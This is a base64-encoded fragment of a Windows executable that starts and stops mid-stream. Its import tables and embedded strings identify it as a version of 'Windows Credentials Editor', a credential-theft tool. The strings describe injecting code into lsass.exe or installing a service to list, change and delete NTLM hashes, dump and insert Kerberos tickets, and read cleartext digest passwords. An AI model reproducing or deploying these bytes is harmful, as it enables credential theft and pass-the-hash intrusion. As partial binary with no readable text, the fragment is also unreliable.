AAAAwEoCAAAAAADQSgIAAAAAAOhKAgAAAAAA/koCAAAAAAAUSwIAAAAAAChLAgAAAAAAOEsCAAAAAABISwIAAAAAAFhLAgAAAAAAZksCAAAAAAB4SwIAAAAAAJRLAgAAAAAAqEsCAAAAAAC+SwIAAAAAANRLAgAAAAAA5EsCAAAAAAD6SwIAAAAAAAxMAgAAAAAAHkwCAAAAAAAyTAIAAAAAAEhMAgAAAAAAWkwCAAAAAABqTAIAAAAAAIBMAgAAAAAAjkwCAAAAAACgTAIAAAAAALBMAgAAAAAAwEwCAAAAAADQTAIAAAAAAOBMAgAAAAAA7kwCAAAAAAAOTQIAAAAAABpNAgAAAAAAKE0CAAAAAABGTQIAAAAAAFJNAgAAAAAAYk0CAAAAAABuTQIAAAAAAIBNAgAAAAAAlE0CAAAAAACqTQIAAAAAAL5NAgAAAAAA0k0CAAAAAADoTQIAAAAAAABOAgAAAAAAGk4CAAAAAAAuTgIAAAAAAEJOAgAAAAAAUE4CAAAAAABgTgIAAAAAAGxOAgAAAAAAeE4CAAAAAACITgIAAAAAAKBOAgAAAAAAuE4CAAAAAADGTgIAAAAAANhOAgAAAAAA5k4CAAAAAAACTwIAAAAAACBPAgAAAAAANE8CAAAAAABITwIAAAAAAGJPAgAAAAAAdk8CAAAAAACITwIAAAAAAJhPAgAAAAAAwE8CAAAAAADOTwIAAAAAAOBPAgAAAAAA+E8CAAAAAAAIUAIAAAAAABZQAgAAAAAAJFACAAAAAAAuUAIAAAAAAD5QAgAAAAAAVFACAAAAAABgUAIAAAAAAHZQAgAAAAAAjFACAAAAAACaUAIAAAAAAKhQAgAAAAAAtFACAAAAAAC+UAIAAAAAAMpQAgAAAAAA3FACAAAAAADoUAIAAAAAAPhQAgAAAAAAClECAAAAAAAkUQIAAAAAAD5RAgAAAAAAWFECAAAAAAByUQIAAAAAAIJRAgAAAAAAnFECAAAAAACuUQIAAAAAAL5RAgAAAAAAzlECAAAAAAAAAAAAAAAAAChHAgAAAAAAAAAAAAAAAADkSQIAAAAAAPpJAgAAAAAAFEoCAAAAAAAAAAAAAAAAAA4AAAAAAACADwAAAAAAAIAIAAAAAAAAgAAAAAAAAAAAEQBHZXRNb2R1bGVJbmZvcm1hdGlvbgAAUFNBUEkuRExMAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAOUBTm90aWZ5Q2hhbmdlRXZlbnRMb2cAAPUBT3BlbkV2ZW50TG9nQQBDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAABEAUdldE9sZGVzdEV2ZW50TG9nUmVjb3JkAC4CUmVhZEV2ZW50TG9nQQDEAENyeXB0R2V0SGFzaFBhcmFtALYAQ3J5cHREZXN0cm95SGFzaAAAyABDcnlwdEhhc2hEYXRhAMsAQ3J5cHRSZWxlYXNlQ29udGV4dACzAENyeXB0Q3JlYXRlSGFzaACwAENyeXB0QWNxdWlyZUNvbnRleHRBAABXAENsb3NlU2VydmljZUhhbmRsZQAAKAJRdWVyeVNlcnZpY2VTdGF0dXMAAIAAQ3JlYXRlU2VydmljZUEAAPgBT3BlblNDTWFuYWdlckEAANoARGVsZXRlU2VydmljZQD6AU9wZW5TZXJ2aWNlQQAAxgJTdGFydFNlcnZpY2VBAFwAQ29udHJvbFNlcnZpY2UAAMACU2V0U2VydmljZVN0YXR1cwAAhQJSZWdpc3RlclNlcnZpY2VDdHJsSGFuZGxlckEAxwJTdGFydFNlcnZpY2VDdHJsRGlzcGF0Y2hlckEAMAJSZWdDbG9zZUtleQB9AlJlZ1NldFZhbHVlRXhBAABgAlJlZ09wZW5LZXlFeEEARwJSZWdEZWxldGVWYWx1ZUEAbQJSZWdRdWVyeVZhbHVlRXhBAAD8AU9wZW5UaHJlYWRUb2tlbgBBRFZBUEkzMi5kbGwAACoATHNhRnJlZVJldHVybkJ1ZmZlcgArAExzYUdldExvZ29uU2Vzc2lvbkRhdGEAACkATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBTZWN1cjMyLmRsbABXUzJfMzIuZGxsAADUAERlbGV0ZUZpbGVBABsCR2V0TW9kdWxlSGFuZGxlQQAAggNPcGVuUHJvY2VzcwDABFNsZWVwADsEU2V0Q29uc29sZUN0cmxIYW5kbGVyAMQBR2V0Q3VycmVudERpcmVjdG9yeUEAAIsCR2V0VGVtcFBhdGhBAACrAkdldFZlcnNpb25FeEEAmwNQcm9jZXNzSWRUb1Nlc3Npb25JZAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkABkCR2V0TW9kdWxlRmlsZU5hbWVBAADGAUdldEN1cnJlbnRQcm9jZXNzAD4DTG9hZExpYnJhcnlBAAD5AklzQmFkUmVhZFB0cgAAmQNQcm9jZXNzMzJOZXh0AFIAQ2xvc2VIYW5kbGUAlwNQcm9jZXNzMzJGaXJzdAAAvQBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAMYDUmVhZFByb2Nlc3NNZW1vcnkACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAAD8BFZpcnR1YWxGcmVlRXgAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAPkEVmlydHVhbEFsbG9jRXgAAEwCR2V0UHJvY0FkZHJlc3MAAM4EVGVybWluYXRlUHJvY2VzcwAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAOUEVW5tYXBWaWV3T2ZGaWxlAFkDTWFwVmlld09mRmlsZQCJAENyZWF0ZUZpbGVNYXBwaW5nQQAAiABDcmVhdGVGaWxlQQC/BFNpemVvZlJlc291cmNlAABWA0xvY2tSZXNvdXJjZQAAQwNMb2FkUmVzb3VyY2UAAFEBRmluZFJlc291cmNlQQBrAUZyZWVSZXNvdXJjZQAAEgRSZXNldEV2ZW50AAAIAkdldExhc3RFcnJvcgAAggBDcmVhdGVFdmVudEEAAMMDUmVhZEZpbGUAAGgBRnJlZUxpYnJhcnkAggJHZXRTeXN0ZW1XaW5kb3dzRGlyZWN0b3J5QQAAZwRTZXRFdmVudAAAtABDcmVhdGVUaHJlYWQAADQFV3JpdGVGaWxlAA4FV2FpdE5hbWVkUGlwZUEAAF0BRmx1c2hGaWxlQnVmZmVycwAA5QBEaXNjb25uZWN0TmFtZWRQaXBlAGUAQ29ubmVjdE5hbWVkUGlwZQAAnwBDcmVhdGVOYW1lZFBpcGVBAAAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAAKgFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDKAUdldEN1cnJlbnRUaHJlYWQAAB4CR2V0TW9kdWxlSGFuZGxlVwAAHwFFeGl0UHJvY2VzcwDLAERlY29kZVBvaW50ZXIA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MA7gBFbmNvZGVQb2ludGVyAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AADsDTGVhdmVDcml0aWNhbFNlY3Rpb24AANoCSGVhcFJlQWxsb2MAjAFHZXRDb21tYW5kTGluZUEAJQRSdGxVbndpbmRFeADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAmBFJ0bFZpcnR1YWxVbndpbmQAAB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAGARSdGxDYXB0dXJlQ29udGV4dAB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AQQNMb2FkTGlicmFyeVcAAFoBRmxzR2V0VmFsdWUAWwFGbHNTZXRWYWx1ZQBZAUZsc0ZyZWUAgARTZXRMYXN0RXJyb3IAAMsBR2V0Q3VycmVudFRocmVhZElkAABYAUZsc0FsbG9jAAAaAkdldE1vZHVsZUZpbGVOYW1lVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAAB4AUdldENQSW5mbwBuAUdldEFDUAAAPgJHZXRPRU1DUAAADANJc1ZhbGlkQ29kZVBhZ2UA3AJIZWFwU2l6ZQAAoAFHZXRDb25zb2xlQ1AAALIBR2V0Q29uc29sZU1vZGUAAJ8CR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDhAUdldEVudmlyb25tZW50U3RyaW5nc1cAAKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAdARTZXRGaWxlUG9pbnRlcgAAlARTZXRTdGRIYW5kbGUAAC8DTENNYXBTdHJpbmdXAABwAkdldFN0cmluZ1R5cGVXAABkAENvbXBhcmVTdHJpbmdXAABkBFNldEVudmlyb25tZW50VmFyaWFibGVBADMFV3JpdGVDb25zb2xlVwBhBFNldEVuZE9mRmlsZQAAUQJHZXRQcm9jZXNzSGVhcAAAjwBDcmVhdGVGaWxlVwBLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdjEuNDJiZXRhIChYNjQpAABgAkABAAAAJXMAAAAAAAABAAAAAAAAAABAyBQAAAAAANjIFAAAAAAAQNQUAAAAAAAAAAAAAAAAADDIFAAAAAAAsBQVAAAAAABTVc9uSpLsn5r5Xc08Rvxv0BKp+AAAAAEAAAAAAAAAAAh5GAAAAAAAgFQYAAAAAABgjBgAAAAAAAAAAAAAAAAAAHkYAAAAAACYpxgAAAAAACYgWIxho1D2C3InbinbB3MpBm4ZAAAAAgAAAAAAAAAAUI0RAAAAAABwgREAAAAAAICmEQAAAAAAAAAAAAAAAABgjREAAAAAAKjLEQAAAAAAyNhJISOLrsotvW05pU1OgX7IgrQAAAAgYAJAAQAAAHBgAkABAAAAwGACQAEAAAAAAAAAAAAAAApQYXNzd29yZDogICAlcwoAAAAAOgAAAEVycm9yOiBjYW5ub3QgZ2VuZXJhdGUgTE0gSGFzaC4KAAAAAAoAAABFcnJvcjogY2Fubm90IGdlbmVyYXRlIE5UIEhhc2guCgAAAABhYgAASGFzaGVzOiAgICAgAAAAAEVycm9yOiBDYW5ub3QgZXh0cmFjdCBhdXhpbGlhcnkgRExMIQoAAAAlLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYAAAAAAAAAABVc2luZyBXQ0UgV2luZG93cyBTZXJ2aWNlLi4uCgAAAA0KAAAAAAAAJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWCUuMlglLjJYJS4yWAAAAABhYgAAJS44WDoAAABGb3JjZWQgU2FmZSBNb2RlIEVycm9yOiBjYW5ub3QgcmVhZCBjcmVkZW50aWFscyB1c2luZyAnc2FmZSBtb2RlJy4KACVzOiVzOgAAJS4yWAAAAAA6AAAAJS4yWAAAAAAlLjhYOgAAACVzOiVzOgAAJS4yWAAAAAA6AAAAJS4yWAAAAABhYgAADQoAAAoAAABzb21ldGhpbmcgdGVycmlibGUgaGFwcGVuZWQhIGNvdWxkIG5vdCBhbGxvY2F0ZSBtZW1vcnkgZm9yIG5ldyBsaXN0IQoAAABVc2UgLWggZm9yIGhlbHAuCgAAAAAAAABXQ0UgJXMgKFdpbmRvd3MgQ3JlZGVudGlhbHMgRWRpdG9yKSAtIChjKSAyMDEwLTIwMTMgQW1wbGlhIFNlY3VyaXR5IC0gYnkgSGVybmFuIE9jaG9hIChoZXJuYW5AYW1wbGlhc2VjdXJpdHkuY29tKQoAAFwAAABPcHRpb25zOiAgCgAKAAAACS1sCQlMaXN0IGxvZ29uIHNlc3Npb25zIGFuZCBOVExNIGNyZWRlbnRpYWxzIChkZWZhdWx0KS4KAAAAAAAAAAkJCU9wdGlvbmFsOiAtcjxyZWZyZXNoIGludGVydmFsPi4KAAAAAAAJLXMJCUNoYW5nZXMgTlRMTSBjcmVkZW50aWFscyBvZiBjdXJyZW50IGxvZ29uIHNlc3Npb24uCgkJCVBhcmFtZXRlcnM6IDxVc2VyTmFtZT46PERvbWFpbk5hbWU+OjxMTUhhc2g+OjxOVEhhc2g+LgoAAAAAAAAJCQlQYXJhbWV0ZXJzOiA8Y21kPi4KAAAJLXIJCUxpc3RzIGxvZ29uIHNlc3Npb25zIGFuZCBOVExNIGNyZWRlbnRpYWxzIGluZGVmaW5pdGVseS4KCQkJUmVmcmVzaGVzIGV2ZXJ5IDUgc2Vjb25kcyBpZiBuZXcgc2Vzc2lvbnMgYXJlIGZvdW5kLgoAAAAJLW8JCXNhdmVzIGFsbCBvdXRwdXQgdG8gYSBmaWxlLgoAAAAAAAAACS1jCQlSdW4gPGNtZD4gaW4gYSBuZXcgc2Vzc2lvbiB3aXRoIHRoZSBzcGVjaWZpZWQgTlRMTSBjcmVkZW50aWFscy4KAAAACQkJUGFyYW1ldGVyczogPGx1aWQ+LgoACS1lCQlMaXN0cyBsb2dvbiBzZXNzaW9ucyBOVExNIGNyZWRlbnRpYWxzIGluZGVmaW5pdGVseS4KCQkJUmVmcmVzaGVzIGV2ZXJ5IHRpbWUgYSBsb2dvbiBldmVudCBvY2N1cnMuCgAJCQlQYXJhbWV0ZXJzOiA8ZmlsZW5hbWU+LgoACgAAAAktaQkJU3BlY2lmeSBMVUlEIGluc3RlYWQgb2YgdXNlIGN1cnJlbnQgbG9nb24gc2Vzc2lvbi4KAAAAAAoAAAAJLWQJCURlbGV0ZSBOVExNIGNyZWRlbnRpYWxzIGZyb20gbG9nb24gc2Vzc2lvbi4KAAAACgAAAAkJCVBhcmFtZXRlcnM6IDxsdWlkPi4KAAktYQkJVXNlIEFkZHJlc3Nlcy4KAAAAAAkJCVBhcmFtZXRlcnM6IDxhZGRyZXNzZXM+CgAKAAAACS1mCQlGb3JjZSAnc2FmZSBtb2RlJy4KAAAAAGFiAAAJLWcJCUdlbmVyYXRlIExNICYgTlQgSGFzaC4KAAAAAAkJCVBhcmFtZXRlcnM6IDxwYXNzd29yZD4uCgAAAAAACS1LCQlEdW1wIEtlcmJlcm9zIHRpY2tldHMgdG8gZmlsZSAodW5peCAmICd3aW5kb3dzIHdjZScgZm9ybWF0KQoAAAAAAAAACS12CQl2ZXJib3NlIG91dHB1dC4KAAAACS1rCQlSZWFkIEtlcmJlcm9zIHRpY2tldHMgZnJvbSBmaWxlIGFuZCBpbnNlcnQgaW50byBXaW5kb3dzIGNhY2hlCgAlcyVzAAAAAAAAAAAJLXcJCUR1bXAgY2xlYXJ0ZXh0IHBhc3N3b3JkcyBzdG9yZWQgYnkgdGhlIGRpZ2VzdCBhdXRoZW50aWNhdGlvbiBwYWNrYWdlCgAADQoAAEVycm9yIGluIGNtZGxpbmUhLiBCeWUhLgoAAAAAAAAARXJyb3IgaW4gY21kbGluZSEuIENyZWRlbnRpYWxzIGZvcm1hdCBpcyB3cm9uZyEgdG9vIG1hbnkgJzonIGNoYXJhY3RlcnMhCgAAAAAAAABFcnJvciBpbiBjbWRsaW5lIS4gQ3JlZGVudGlhbHMgZm9ybWF0IGlzIHdyb25nISB0b28gZmV3ICc6JyBjaGFyYWN0ZXJzIQoAAAAACgAAAHVzZXJuYW1lIGlzIHRvbyBsb25nIS4KAHVzZXJuYW1lIHdyb25nIGZvcm1hdCEuCgAAAAAlcyAtUwAAACVzAABkb21haW4gaXMgdG9vIGxvbmchLgoAAABkb21haW4gd3JvbmcgZm9ybWF0IS4KAABsbWhhc2ggaXMgdG9vIGxvbmchLgoAAABsbWhhc2ggd3JvbmcgZm9ybWF0IS4KAABudGhhc2ggaXMgdG9vIGxvbmchLgoAAABudGhhc2ggd3JvbmcgZm9ybWF0IS4KAABSZWFkaW5nIGJ5IGluamVjdGluZyBjb2RlISAobGVzcy1zYWZlIG1vZGUpCgAAAABsc2Fzcy5leGUAAAAlcwAAQ2Fubm90IGdldCBQSUQgb2YgTFNBU1MuRVhFIQoAAABFcnJvcjogQ2Fubm90IG9wZW4gTFNBU1MuRVhFIS4KAENhbid0IGVudW1lcmF0ZSBsb2dvbiBzZXNzaW9ucyEKAAAAACVzAABMb2dvbiBTZXNzaW9ucyBGb3VuZDogJWQKAAAAJXMAAENhbm5vdCBhbGxvYyB3Y2VwYXJhbXMhLgAAAAAlcwAAV0NFR2V0TlRMTUNyZWRlbnRpYWxzAAAAJXNcJXM6JXMKAAAAAAAAAAlMVUlEOiUuOFhoCgAAAABFcnJvciBpbiBJbmplY3REbGxBbmRDYWxsRnVuY3Rpb24KAAAAAAAAbHNhc3MuZXhlAAAAAAAAAENhbm5vdCBnZXQgTFNBU1MuRVhFIFBJRCEKAAAAAAAARXJyb3I6IENhbm5vdCBvcGVuIExTQVNTLkVYRSEuCgBDYW5ub3QgYWxsb2Mgd2NlcGFyYW1zIS4AAAAAAAAAAFdDRUFkZE5UTE1DcmVkZW50aWFscwAAAEVycm9yIGluIEluamVjdERsbEFuZENhbGxGdW5jdGlvbgAAAAAAAABOVExNIGNyZWRlbnRpYWxzIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkIQoAQW4gZXJyb3Igb2NjdXJyZWQgY2hhbmdpbmcgdGhlIE5UTE0gY3JlZGVudGlhbHMuCgAAAAAAAAAAAAAAAAAAAENoYW5naW5nIE5UTE0gY3JlZGVudGlhbHMgb2YgY3VycmVudCBsb2dvbiBzZXNzaW9uICglLjhYaCkgdG86CgBDaGFuZ2luZyBOVExNIGNyZWRlbnRpYWxzIG9mIGxvZ29uIHNlc3Npb24gJS44WGggdG86CgAAAFVzZXJuYW1lOiAlcwoAAABkb21haW46ICVzCgAAAAAATE1IYXNoOiAlcwoAAAAAAE5USGFzaDogJXMKAAAAAABjYW5ub3QgcnVuIHRoZSBzcGVjaWZpZWQgY29tbWFuZCEAAAAAAAAAQ2hhbmdpbmcgTlRMTSBjcmVkZW50aWFscyBvZiBuZXcgbG9nb24gc2Vzc2lvbiAlLjhYaCB0bzoKAAAAAAAAAFVzZXJuYW1lOiAlcwoAAABkb21haW46ICVzCgAAAAAATE1IYXNoOiAlcwoAAAAAAE5USGFzaDogJXMKAAAAAABVc2luZyBXQ0UgV2luZG93cyBTZXJ2aWNlLi4KAAAAAGxzYXNzLmV4ZQAAAAAAAABDYW5ub3QgZ2V0IFBJRCBvZiBMU0FTUy5FWEUhCgAAAEVycm9yOiBDYW5ub3Qgb3BlbiBMU0FTUy5FWEUhLgoAQ2Fubm90IGFsbG9jIHdjZXBhcmFtcyEuAAAAAAAAAABXQ0VEZWxOVExNQ3JlZGVudGlhbHMAAABFcnJvciBpbiBJbmplY3REbGxBbmRDYWxsRnVuY3Rpb24AAAAAAAAATlRMTSBjcmVkZW50aWFscyBzdWNjZXNzZnVsbHkgZGVsZXRlZCEKAENhbm5vdCBkZWxldGUgTlRMTSBjcmVkZW50aWFscwoAd2NlYXV4LmRsbAAAAAAAAC13a0tVU3ZmbGVoSHI6Om86dDpzOmM6aTpkOmE6ZzoAVGhpcyBmZWF0dXJlIGlzIHRlbXBvcmFyaWx5IGRpc2FibGVkLgoAAE5vIGFkZHJlc3NlcyB3ZXJlIHN1cHBsaWVkIS4KAAAASW52YWxpZCBhZGRyZXNzZXMgc3VwcGxpZWQhLgoAAABObyBOVExNIGNyZWRlbnRpYWxzIHdlcmUgc3VwcGxpZWQhLgoAAAAATm8gY29tbWFuZCB3YXMgc3VwcGxpZWQhLgoAAAAAAABUaGlzIGZlYXR1cmUgaXMgdGVtcG9yYXJpbHkgZGlzYWJsZWQuCgAAVXNpbmcgc3VwcGxpZWQgYWRkcmVzc2VzLgoAAAAAAAAKUmVmcmVzaGluZyBldmVyeSAlZCBzZWNvbmRzLi4KAENvdWxkIG5vdCBlbmFibGUgZGVidWcgcHJpdmlsZWdlcy4gWW91IG11c3QgcnVuIFdDRSB1bmRlciBhbiBhY2NvdW50IHdpdGggYWRtaW5pc3RyYXRvciBwcml2aWxlZ2VzLgoAAAAAQ3VycmVudCBMb2dvbiBTZXNzaW9uIExVSUQ6ICUuOFhoCgAAAAAAAFVzaW5nIFdDRSBXaW5kb3dzIFNlcnZpY2UuLgoAAAAARm9yY2VkIFNhZmUgTW9kZSBFcnJvcjogY2Fubm90IHJlYWQgY3JlZGVudGlhbHMgdXNpbmcgJ3NhZmUgbW9kZScuCgAAAAAARXJyb3I6IENhbm5vdCBleHRyYWN0IGF1eGlsaWFyeSBETEwhCgAAAFVzaW5nIFdDRSBXaW5kb3dzIFNlcnZpY2UuLgoAAAAARm9yY2VkIFNhZmUgTW9kZSBFcnJvcjogY2Fubm90IHJlYWQgY3JlZGVudGlhbHMgdXNpbmcgJ3NhZmUgbW9kZScuCgAAAAAARXJyb3I6IENhbm5vdCBleHRyYWN0IGF1eGlsaWFyeSBETEwhCgAAAFVzaW5nIFdDRSBXaW5kb3dzIFNlcnZpY2UuLgoAAAAARm9yY2VkIFNhZmUgTW9kZSBFcnJvcjogU2V0dGluZyBOVExNIGNyZWRlbnRpYWxzIHJlcXVpcmVzIGNvZGUgaW5qZWN0aW9uLgoAAAAAAABDYW5ub3QgZXh0cmFjdCBhdXhpbGlhcnkgRExMIQoAAENhbm5vdCBzZXQgZXZlbnQgaG9vawoAAAAAAAAAAAAARm9yY2VkIFNhZmUgTW9kZSBFcnJvcjogRGVsZXRlIE5UTE0gY3JlZGVudGlhbHMgcmVxdWlyZXMgY29kZSBpbmplY3Rpb24uCgAAAAAAAABDYW5ub3QgZXh0cmFjdCBhdXhpbGlhcnkgRExMIQoAAFVzaW5nIFdDRSBXaW5kb3dzIFNlcnZpY2UuLgoAAAAAbHNhc3MuZXhlAAAAAAAAAFdDRVNFUlZJQ0UAAAAAAABXQ0UgU2VydmljZSBhbHJlYWR5IGluc3RhbGxlZC4gaXQgc2hvdWxkbid0IGJlLiBVbmluc3RhbGxpbmcuCgAAV0NFU0VSVklDRQAAAAAAAFdDRVNFUlZJQ0UAAAAAAABXQ0VTRVJWSUNFAAAAAAAAV0NFU0VSVklDRQAAAAAAAFdDRVNFUlZJQ0UAAAAAAABMYXVuY2hTZXJ2aWNlIGZhaWxlZCEKAABJbnN0YWxsaW5nIFdDRSBTZXJ2aWNlIGZhaWxlZCEKAFdDRVNFUlZJQ0UAAAAAAABXQ0VTRVJWSUNFAAAAAAAASW5zdGFsbCAmIFJ1biBXaW5kb3dzIFdDRSBTZXJ2aWNlLi4KAAAAAAlFcnJvcjogY2Fubm90IHN0YXJ0ICYgcnVuIFdDRSBzZXJ2aWNlCgBXQ0VTRVJWSUNFAAAAAAAARXJyb3I6IGNhbm5vdCBnZXQgY3JlZGVudGlhbHMgZnJvbSBXQ0UgU2VydmljZQoAU3RvcCAmIFVuaW5zdGFsbCBXaW5kb3dzIFdDRSBTZXJ2aWNlLi4KAEVycm9yOiBjYW5ub3Qgc3RhcnQgJiBydW4gV0NFIHNlcnZpY2UKAABFcnJvcjogY2Fubm90IGRlbGV0ZSBjcmVkZW50aWFscyB1c2luZyBXQ0UgU2VydmljZQoAAAAAAE5UTE0gY3JlZGVudGlhbHMgc3VjY2Vzc2Z1bGx5IGRlbGV0ZWQhCgBFcnJvcjogY2Fubm90IHN0YXJ0ICYgcnVuIFdDRSBzZXJ2aWNlCgAARXJyb3I6IGNhbm5vdCBkZWxldGUgY3JlZGVudGlhbHMgdXNpbmcgV0NFIFNlcnZpY2UKAAAAAABOVExNIGNyZWRlbnRpYWxzIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkIQoASW5zdGFsbCAmIFJ1biBXaW5kb3dzIFdDRSBTZXJ2aWNlLi4KAAAAAEVycm9yOiBjYW5ub3Qgc3RhcnQgJiBydW4gV0NFIHNlcnZpY2UKAABFcnJvcjogY2Fubm90IGdldCBwYXNzd29yZHMgZnJvbSBkaWdlc3QgcGFja2FnZSBmcm9tIFdDRSBTZXJ2aWNlCgAAAAAAAABTdG9wICYgVW5pbnN0YWxsIFdpbmRvd3MgV0NFIFNlcnZpY2UuLgoAUmVhZGluZyBieSBpbmplY3RpbmcgY29kZSEgKGxlc3Mtc2FmZSBtb2RlKQoAAAAARVJST1I6IENhbm5vdCBmaW5kIGRlcGVuZGVuY2llcwoAAAAAJXMAAGxzYXNzLmV4ZQAAACVzAABDYW5ub3QgZ2V0IFBJRCBvZiBMU0FTUy5FWEUhCgAAAEVycm9yOiBDYW5ub3Qgb3BlbiBMU0FTUy5FWEUhLgoAQ2FuJ3QgZW51bWVyYXRlIGxvZ29uIHNlc3Npb25zIQoAAAAAJXMAAExvZ29uIFNlc3Npb25zIEZvdW5kOiAlZAoAAAAlcwAAQ2Fubm90IGFsbG9jIHdjZXdkcGFyYW1zIS4AAFb/AABfMDIxMkRCREhKS1NBSEQwMTgzOTIza2xqbUxLTAAAAEVycm9yIGluIEluamVjdERsbEFuZENhbGxGdW5jdGlvbgoAAAAAAABIg+x4SIsFXcsOAEgzxEiJRCRog2QkUABMi9FIiw2m8Q4AuAgAAABNhdJ0TwAAAABFM8DpAAAAAHNvbWV0aGluZyB0ZXJyaWJsZSBoYXBwZW5lZCEgY291bGQgbm90IGFsbG9jYXRlIG1lbW9yeSBmb3IgbmV3IGxpc3QhCgAAAGxzYXNydi5kbGwAAIsNAABIg+x4SIsFVcsOAEgzxEiJRCRog2QkUABMi9FIiw2e8Q4AuAgAAABNhdJ0TwAAAABsc2FzcnYuZGxsAABW/wAAbHNhc3J2LmRsbAAAiw0AAIv/VYvsagH/dQz/dQjoAABdwggAAAAAAGxzYXNydi5kbGwAAGFiAACL/1WL7GoA/3UM/3UI6AAAXcIIAAAAAABsc2FzcnYuZGxsAAANCgAAi/9Vi+xWvgCLRQiJCMdABAAAAAAKAAAAd2RpZ2VzdC5kbGwAYWIAAIv/VYvsVr4Ai0UIiQjHQAQAAAAA/xUAAHdkaWdlc3QuZGxsAEyLHQAlc1wlczolcwoAAABIjQUAJXNcJXM6JXMAAAAA/xUAAP/zSIPsIEiL2UiNDQAAAABMiRtIiUMISYlbCEiNDQAAd2RpZ2VzdC5kbGwATIsdAGJhc2U6JXAKAAAAAEiNBQD/80iD7CBIi9lIjQ0AAAAATIkbSIlDCEk5QwgPhV85AABJiVsIAAAAd2RpZ2VzdC5kbGwA/xUAAGJhc2U6JXAKAAAAAEyLHQBAU0iD7CBIi9lIjQ0AAAAASI0FAAAAAABMiRtIiUMISYlbCEiNDQAAd2RpZ2VzdC5kbGwAAAAAAGJhc2U6JXAKAAAAAAAAAAABAAAAPwAAAC0tAAAtAAAAUE9TSVhMWV9DT1JSRUNUACVzOiBpbnZhbGlkIG9wdGlvbiAtLSAlYwoAAAAAAAAAJXM6IG9wdGlvbiByZXF1aXJlcyBhbiBhcmd1bWVudCAtLSAlYwoAACVzAAAlcwAAQ2Fubm90IG9wZW4gcHJvY2VzcyB3aXRoIFBJRCAlZCAoJXhoKQoAAGtlcm5lbDMyLmRsbAAAAABMb2FkTGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAEZyZWVMaWJyYXJ5AAAAAABTZURlYnVnUHJpdmlsZWdlAAAAAEVycm9yCgAAAAAAAG50ZGxsLmRsbAAAAAAAAABDcm9zc1Nlc3Npb25DcmVhdGVSZW1vdGVUaHJlYWQ6IENhbm5vdCBnZXQgbnRkbGwuZGxsIGJhc2UgYWRkcmVzcwoAAAAAAABOdENyZWF0ZVRocmVhZEV4AAAAAEJJTkFSWQAAAAAAAENyb3NzU2Vzc2lvbkNyZWF0ZVJlbW90ZVRocmVhZDogY2Fubm90IGdldCBmdW5jdGlvbiBhZGRyZXNzCgAAAABDcm9zc1Nlc3Npb25DcmVhdGVSZW1vdGVUaHJlYWQ6IENhbm5vdCBjcmVhdGUgbmV3IHRocmVhZAoAAAAAAAAAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAYWR2YXBpMzIuZGxsAAAAAENhbid0IGZpbmQgQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcKAAAAAABFUlJPUjogQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcKAEVycm9yIGluIEdldFRva2VuSW5mb3JtYXRpb24KAAAAQklOQVJZAABDYW5ub3QgY3JlYXRlIGV2ZW50IQoAAABTZWN1cml0eQAAAAAAA